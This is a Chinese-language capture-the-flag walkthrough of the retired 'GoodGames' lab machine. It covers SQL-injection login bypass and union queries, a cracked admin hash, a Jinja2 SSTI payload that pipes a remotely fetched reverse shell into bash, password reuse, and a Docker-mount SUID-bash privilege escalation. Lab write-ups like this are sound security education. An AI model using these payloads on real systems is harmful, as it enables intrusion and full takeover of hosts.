概述 (Overview)
HOST: 10.10.11.130
OS: LINUX
发布时间: 2022-02-22
完成时间: 2022-06-14
机器作者: TheCyberGeek
困难程度: easy
机器状态: 退休
MACHINE TAGS: #SQLi #Flask #SSTI #DockerAbuse
攻击链 (Kiillchain)
使用 Nmap 对目标服务器进行开放端口扫描,访问 Web 服务并使用 SQLi 实现管理员账号登录。利用 SQLi 注入漏洞获取新域名系统的登录账号,使用得到的明文密码进入系统。通过中间件服务 Flask 框架信息判断存在 SSTI 漏洞,最终利用该漏洞进行命令执行成功得到立足点。
通过当前会话 Shell 身份和 IP 地址判断当前处于容器中,利用密码重用风险成功进入物理机环境。最终通过特殊的 Docker Abuse 成功完成权限提升。
枚举(Enumeration)
老样子,开始还是使用 Nmap 工具对目标服务器的开放端口进行扫描。
PORT STATE SERVICE VERSION
80/tcp open http Apache httpd 2.4.51
|_http-title: GoodGames | Community and Store
| http-methods:
|_ Supported Methods: OPTIONS GET HEAD POST
|_http-favicon: Unknown favicon MD5: 61352127DC66484D3736CACCF50E7BEB
|_http-server-header: Werkzeug/2.0.2 Python/3.9.2
Service Info: Host: goodgames.htb
仅开放了 http 服务端口,从中能看到三段值得关注的内容。Apache 的版本很低,http-server-header 中泄露了使用的中间件及版本,IP 可以绑定一个 goodgames.htb 域名。
Port 80 - Flask
浏览器访问目标地址可以看到一个 UI 很酷炫的站点:
注意到右上角存在用户图标,实际点击后发现可以访问注册表单页面。随便填写了一个 test
用户进行注册提交,发现能成功。
SQLi
使用账号能够成功登录系统,但并没有多出什么不一样的内容。退出会话后尝试 SQLi ,发现存在 SQL 语句闭合进行 admin 账号登录。
点击右上角的小齿轮图片会跳转到一个二级地址,随即将该地址加入 hosts 后就能正常浏览了。
echo ‘10.10.11.130 internal-administration.goodgames.htb’ >> /etc/hosts
发现需要特定的账号密码才能登录新系统,接下来就是使用 SQLi 漏洞将 admin 的明文密码取出。偷懒可以使用 sqlmap 工具,但它匹配给我的是延迟注入,遍历的很慢。
还是复习一遍手工注入好了,温故而知新。首先,通过 order by
语句验证表字段长度:
http --form http://10.10.11.130/login email="' order by 5 -- -" password="' or ''='' -- -" -v | grep -i error
可以看到,通过匹配关键字 error
来验证字段长度为 4。接着通过联合查询,将查询的字段结果进行自定义内容替换:
http --form http://10.10.11.130/login email="' union select 111,222,333,444 -- -" password="' or ''='' -- -" -v | grep -i 444
通过匹配关键字 444
,很容易就锁定到返回字段的结果信息位置。随后进行子查询获取当前数据库名称:
依次获取 main 数据库中的表名称:
获取 admin 用户的 MD5 密码 hash:
在免费的 MD5 解密网站中匹配到明文密码,使用该密码成功登录新系统。
2b22337f218b2d82dfc3b6f77e7cb8ec:superadministrator
SSTI
因为已知 Web 应用使用的是 Flask,尝试验证是否存在 SSTI,随后在 settings
功能中找到该漏洞的发生位置。
立足点(Foothold)
https://kleiber.me/blog/2021/10/31/python-flask-jinja2-ssti-example/
参考文中出现的 payload 语句,进行构造实现 RCE 执行,成功获取目标服务器立足点:
{{request.application.__globals__.__builtins__.__import__('os').popen('curl IP/revshell | bash').read()}}
横向移动(Lateral Movement)
一看权限 root 很高兴以为完成了这个靶机,可是只找到 user flag,说明当前 shell 可能是在 Docker 中。使用 ip
命令简单查询了下,果然 172.19.0.1
才是宿主机。
ip -4 addr
1: lo: <LOOPBACK,UP,LOWER_UP> mtu 65536 qdisc noqueue state UNKNOWN group default qlen 1000
inet 127.0.0.1/8 scope host lo
valid_lft forever preferred_lft forever
5: eth0@if6: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc noqueue state UP group default link-netnsid 0
inet 172.19.0.2/16 brd 172.19.255.255 scope global eth0
valid_lft forever preferred_lft forever
通过 wget 简单传递一个编译好的 nc 到容器里,对宿主机进行端口扫描发现开放了两个端口。
通过 curl 请求了下宿主机的 80 端口,发现返回的 title 对应的就是 goodgames.htb 站点。
curl 172.19.0.1/ | head
% Total % Received % Xferd Average Speed Time Time Time Current
Dload Upload Total Spent Left Speed
0 0 0 0 0 0 0 0 --:--:-- --:--:-- --:--:-- 0<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="utf-8">
<meta http-equiv="X-UA-Compatible" content="IE=edge">
<title>GoodGames | Community and Store</title>
...snip...
因为存在 augustus 用户,所以尝试了一下密码复用,发现能通过 SSH 登录宿主机。
权限提升(Privilege Escalation)
在宿主机的 /home/augustus
目录下发现了一个有意思的东西,目录中的文件所有人权限显示的是用户的 ID 而不是名称。
随后查看了容器内的 passwd 文件,里面并没有用户 agustus
或用户 ID 为 1000
的。说明这个 /home/augustus
目录已经从宿主机挂载到容器中(这点通过 mount
命令能够看到,而在容器中的体现就是 -v
命令)。
这样就存在了一个特殊的 Docker Abuse(Docker Abuse 是指恶意利用Docker容器环境中的一些漏洞或不安全配置,以达到攻击目标的目的)。
在 Docker 容器中挂载文件后,如果使用了 chown
命令将挂载的文件赋予了 root 用户和 root 组的所有权,并使用 chmod u+s
命令设置 SUID 位,那么在容器中运行该文件时,进程会以 root 用户身份运行。但当在物理机上执行该文件时,实际上是创建了一个新的进程来运行该文件,并且该进程的权限是由该文件自身权限决定的。由于该文件具有 SUID 位,因此操作系统会将该进程的有效用户 ID(euid)设置为该文件所有者的用户 ID,即 root 用户。因此,在物理机上执行该文件时,该进程被赋予了 root 权限,可以访问物理机上的敏感资源或进行潜在危险的操作。
euid(Effective User ID)是一个进程的有效用户 ID,用于权限检查和资源访问控制。每个进程都有一个 euid,通常为当前登录用户的 uid,但是可通过 setuid 等特殊操作改变自身的 euid,使得进程拥有不同于登录用户的权限。进程的 euid 和 egid 用于确定进程的有效权限。
这样一来,提权就变得很简单了。在容器内执行:
root@3a453ab39d3d:/home/augustus# cp /bin/bash .
root@3a453ab39d3d:/home/augustus# chmod 4777 bash
root@3a453ab39d3d:/home/augustus# chmod u+s bash
在物理机中执行 /home/augustus/bash -p
就完成了最终的权限提升: